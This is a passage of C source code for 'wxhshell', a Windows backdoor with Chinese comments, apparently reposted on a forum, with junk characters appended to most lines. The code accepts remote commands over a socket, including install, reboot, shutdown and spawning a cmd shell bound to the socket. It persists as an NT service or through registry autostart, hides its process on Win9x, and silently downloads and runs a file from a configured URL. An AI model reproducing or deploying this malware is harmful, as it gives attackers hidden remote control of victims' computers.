  case '?': { #F:\_!2c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4=ZN4=(_[  
    break; <*+Y]=  
  } qR^i5JH}u  
  // 安装 (2'q~Z+>'  
  case 'i': { ?dQ#%06mn  
    if(Install()) gjPbhY=C[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g acE?bW'  
    else $j'8Z^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BF(Kaf;<t.  
    break; PaBqv]  
    } fK5iOj'Q  
  // 卸载 Rqun}v}  
  case 'r': { s AlOX`t  
    if(Uninstall()) \)+s)&JLb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f4+}k GJN  
    else zF_aJ+i:~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 86ml.VOR  
    break; )"&\S6*!  
    } .!Q?TSQ+{!  
  // 显示 wxhshell 所在路径 4/QQX;w  
  case 'p': { -3Auo0  
    char svExeFile[MAX_PATH]; 4 moVS1  
    strcpy(svExeFile,"\n\r"); Wf9K+my  
      strcat(svExeFile,ExeFile); kg()C%#u  
        send(wsh,svExeFile,strlen(svExeFile),0); #W[C;f|,  
    break; l1D"*J 2`  
    } DTM xfQdk  
  // 重启 J85Kgd1 \a  
  case 'b': { F1b~S;lm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !K/zFYl  
    if(Boot(REBOOT)) z1~FE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  F!&_  
    else { h2mU  
    closesocket(wsh); k4BiH5\hA  
    ExitThread(0); Kv#TJn  
    } =d1R9O  
    break; ~w}Zv0  
    } 42 &m)  
  // 关机 L`0}wR?+  
  case 'd': { Z=y^9]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \ Q0-yNt  
    if(Boot(SHUTDOWN)) a+p_47 xa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :~B'6b  
    else { \t+q1S1  
    closesocket(wsh); |p @,]c z  
    ExitThread(0); =y1/V'2E  
    } GoRSLbCUR  
    break; P:tl)ob  
    } a3(q;^v  
  // 获取shell H_+!.  
  case 's': { 6ZwFU5)QE/  
    CmdShell(wsh); D3kx&AR  
    closesocket(wsh); UZ3oc[#D=]  
    ExitThread(0); =]hPX  
    break; =U<6TP]{  
  } m/>z}d05h  
  // 退出 \:d|'r8OCM  
  case 'x': { h2fTG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); * 57y.](w  
    CloseIt(wsh); 4I<U5@a  
    break; {-kV~p  
    } /b~|(g31"  
  // 离开 7d'gG[Z^^  
  case 'q': { Jz'8|o;^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x $=-lB  
    closesocket(wsh); eXsFPM  
    WSACleanup(); parc\]M  
    exit(1); AHtLkfr(r  
    break; Q7@ m.w%`  
        } qaN%&K9F8  
  } pm~uWXqxr=  
  } Tq=OYJq5U  
qra5&Fvb  
  // 提示信息 c!}f\ ]D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R'{BkC}.  
} hu''"/raM  
  } ~pj/_@S@x  
lhLE)B2a2  
  return; K/+w6d  
} y |E {]  
fxL0"Ry  
// shell模块句柄 ~LuR)T=%es  
int CmdShell(SOCKET sock) 4'ymPPY  
{ Xv1mjHZCC  
STARTUPINFO si; qOd*9AS'|M  
ZeroMemory(&si,sizeof(si)); ,c_NXC^X?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,6FmU$ Kn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,c\3b)ax  
PROCESS_INFORMATION ProcessInfo; f MDM\&f  
char cmdline[]="cmd"; |UZhMF4/-L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C!r9+z)<  
  return 0; 6Jf\}^4@k  
} _& qM^  
{=GWQn6cc  
// 自身启动模式 , ,=7deR  
int StartFromService(void) 60u}iiC@  
{ Sx%vJYH0  
typedef struct :6Oh?y@  
{ " O,TL *$  
  DWORD ExitStatus; ]Y@ia]x&P  
  DWORD PebBaseAddress; NiTLQ"~e  
  DWORD AffinityMask; (`pd>  
  DWORD BasePriority; I%<,JRAV  
  ULONG UniqueProcessId; L_WVTz?`  
  ULONG InheritedFromUniqueProcessId; G[=8Ko0U+n  
}   PROCESS_BASIC_INFORMATION; nQW`X=Ku  
M&5;Qeoiv  
PROCNTQSIP NtQueryInformationProcess; h"~GaI  
R0!qweGi@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7iJ=~po:o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R^=)Ucj  
(ON_(MN  
  HANDLE             hProcess; j. L`@  
  PROCESS_BASIC_INFORMATION pbi; D3+UV+&R/  
xRx8E;Q@h?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NhDM h8=$^  
  if(NULL == hInst ) return 0; :jp4 !0w  
M;i4ss,}!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z a^s%^:yK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  #FfUkV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :6Q`! in  
N<54_(|X  
  if (!NtQueryInformationProcess) return 0; mVBF2F<4  
0$9I.%4jAJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CdN,R"V0$@  
  if(!hProcess) return 0; FOU^Wcop%  
mjd9]HgN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D>c-h)2|  
&sRjs  
  CloseHandle(hProcess); E'g2<k  
>{dj6Wo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?/,sKF74i  
if(hProcess==NULL) return 0; dU~DlaEy(  
Fq<;-  
HMODULE hMod; 2-3|0<`  
char procName[255]; 6jIW)C  
unsigned long cbNeeded; jBvZ>H+w~  
*qLOr6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ){.J`X5r  
lTh}0t  
  CloseHandle(hProcess); G 39  
Tmo+I4qoL  
if(strstr(procName,"services")) return 1; // 以服务启动 ktr l|  
Hlw0i a  
  return 0; // 注册表启动 v<`1z?dch  
} EQ j2:9f  
W~1MeAI  
// 主模块 GoGo@5n(Z  
int StartWxhshell(LPSTR lpCmdLine) H...!c1M@  
{ kXq*Jq  
  SOCKET wsl; wb>>bV+U  
BOOL val=TRUE; ;b""N,  
  int port=0; (]yOd/ru/C  
  struct sockaddr_in door; *1L;%u| [  
k-( hJ}N  
  if(wscfg.ws_autoins) Install(); Y(D@B|"'m  
q?=eD^]  
port=atoi(lpCmdLine); #<7ajmr  
%` c?cB  
if(port<=0) port=wscfg.ws_port; (/c&#W  
ZR3x;$I~4  
  WSADATA data; #0HF7C3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,'CDKzY  
3eV(2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   43mV~Oj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J jCzCA:K_  
  door.sin_family = AF_INET; uxq!kF'Ls  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $h Is ab_  
  door.sin_port = htons(port); [1Dg_>lz  
$?OuY*ZeY9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a/.O, &3  
closesocket(wsl); eTc0u;{V  
return 1; _BcYS  
} T~k5` ~\(  
NC; 4  
  if(listen(wsl,2) == INVALID_SOCKET) { Xf.w( -  
closesocket(wsl); KB,!s7A  
return 1; ]3iu-~  
} iz`u@QKc%  
  Wxhshell(wsl); a; Ihv#q  
  WSACleanup(); 89B1\ff  
7CGKm8T  
return 0; LDL#*g  
Kl[WscR  
} -IR9^)  
Ml)Xq-&wc  
// 以NT服务方式启动 "R$ee^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JF>mybB  
{  ##7,  
DWORD   status = 0; <R:KR(bT  
  DWORD   specificError = 0xfffffff; T8.@ }a  
$4V ~hI 4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &Jj^)GBU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A"V3g`dP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =>6Z"LD(  
  serviceStatus.dwWin32ExitCode     = 0; bID'r}55  
  serviceStatus.dwServiceSpecificExitCode = 0; 47"ERfP  
  serviceStatus.dwCheckPoint       = 0; " [=Ee[/  
  serviceStatus.dwWaitHint       = 0; 39 JLi~j,  
~e[)]b3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c@{,&,vsj  
  if (hServiceStatusHandle==0) return; bQk5R._got  
I\sCH  
status = GetLastError(); (r,RwWYm  
  if (status!=NO_ERROR) #jV6w=I  
{ Mi\f?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S8" h9|  
    serviceStatus.dwCheckPoint       = 0; EX8:B.z`57  
    serviceStatus.dwWaitHint       = 0; J#CF SG  
    serviceStatus.dwWin32ExitCode     = status; t=~5 I >  
    serviceStatus.dwServiceSpecificExitCode = specificError; nTj Q4y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .1MXQLy  
    return; |pr~Ohz  
  } 0[0</"K%1m  
=,I,K=+_x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vKDPg p<j  
  serviceStatus.dwCheckPoint       = 0; 8oY0?|_Bx  
  serviceStatus.dwWaitHint       = 0; {S\cpCI`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C+}uH:I'L  
} Z{RgpVt  
hNFMuv  
// 处理NT服务事件,比如:启动、停止 Dw{C_e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yPm)r2Ck  
{ SDV} bN  
switch(fdwControl) "P< drz<  
{ _y`'T;~OY  
case SERVICE_CONTROL_STOP: A0S6 4(  
  serviceStatus.dwWin32ExitCode = 0; 9 4W9P't  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qO>BF/)a(  
  serviceStatus.dwCheckPoint   = 0; 2:i`,  
  serviceStatus.dwWaitHint     = 0; *D]/V U  
  { kaUH#;c>_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =#1iio&  
  } D6_16PJE  
  return; 33couAP#  
case SERVICE_CONTROL_PAUSE: }?>30+42:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z]\0]i  
  break; lbg!B4,  
case SERVICE_CONTROL_CONTINUE: |U$oS2U\m  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,Mc}U9)F  
  break; &nj@t>5Bs$  
case SERVICE_CONTROL_INTERROGATE: hW>@jT"t1C  
  break; Kd;|Z  
}; qX:54$t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g<KBsz!{  
} Czb@:l%sc  
E](Ood  
// 标准应用程序主函数 w0moC9#$?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _}`iLA!$I  
{ "xS",6Sy  
wamqeb{u  
// 获取操作系统版本 " I`<s<  
OsIsNt=GetOsVer(); `-Gs*#(/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Tb}`]Y`X  
(q*T.   
  // 从命令行安装 )R{4"&&2  
  if(strpbrk(lpCmdLine,"iI")) Install(); s<z{(a  
4jis\W}%L3  
  // 下载执行文件 6}Y^X  
if(wscfg.ws_downexe) { @<},-u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ksm=<I"C  
  WinExec(wscfg.ws_filenam,SW_HIDE); EEn}Gw  
} ~|Gtm[9Ru  
!=cW+=1  
if(!OsIsNt) { jbC7U9t7  
// 如果时win9x,隐藏进程并且设置为注册表启动 CbS9fc&  
HideProc(); |,t#Au}61  
StartWxhshell(lpCmdLine); ~b8U#'KD  
} }RDhI1x[mk  
else 6P?   
  if(StartFromService()) q(!191@C(  
  // 以服务方式启动 7Y @ &&  
  StartServiceCtrlDispatcher(DispatchTable); athU  
else qN+ngk,:  
  // 普通方式启动 5x4JDaG2  
  StartWxhshell(lpCmdLine); O>|Q Zd  
;2)@NH  
return 0; t1g)Y|@d  
}
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只看该作者 1 发表于: 2006-10-10
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